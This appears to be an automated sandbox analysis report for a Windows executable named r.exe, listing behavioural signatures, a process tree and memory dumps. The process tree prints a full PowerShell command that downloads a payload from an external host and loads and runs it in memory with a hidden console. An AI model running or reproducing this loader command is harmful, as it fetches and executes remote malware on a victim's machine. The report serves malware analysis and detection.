Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 21:48

General

  • Target
    r.exe
  • Size 13KB
  • Sample260922-1n4ddsshpc
  • SHA256 4cfe6e550f42de91e389eb36bb8f78aba4351f4b6570343fb292f466880539af
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\r.exe
    "C:\Users\Admin\AppData\Local\Temp\r.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; [Reflection.Assembly]::Load((Invoke-WebRequest 'https://prestigeclient.vip/downloads/r.php' -UseBasicParsing).Content).EntryPoint.Invoke($null,@(,[string[]]@('--hide-console')))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4272

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2944-0-0x0000000000020000-0x0000000000028000-memory.dmp

        memory/2944-1-0x00007FF87B3BF000-0x00007FF87B3C0000-memory.dmp

        memory/2944-2-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/2944-3-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-6-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-9-0x0000021756980000-0x00000217569A2000-memory.dmp

        memory/4272-10-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-11-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-12-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-13-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-14-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-15-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-16-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-17-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-18-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-19-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-20-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-21-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-23-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-24-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-25-0x00007FF87B230000-0x00007FF87BBD4000-memory.dmp

        memory/4272-27-0x0000021756E60000-0x0000021756E68000-memory.dmp

        memory/4272-29-0x0000000180000000-0x00000001804BC000-memory.dmp

        memory/4272-36-0x0000000180000000-0x00000001804BC000-memory.dmp

        memory/4272-37-0x0000000180000000-0x00000001804BC000-memory.dmp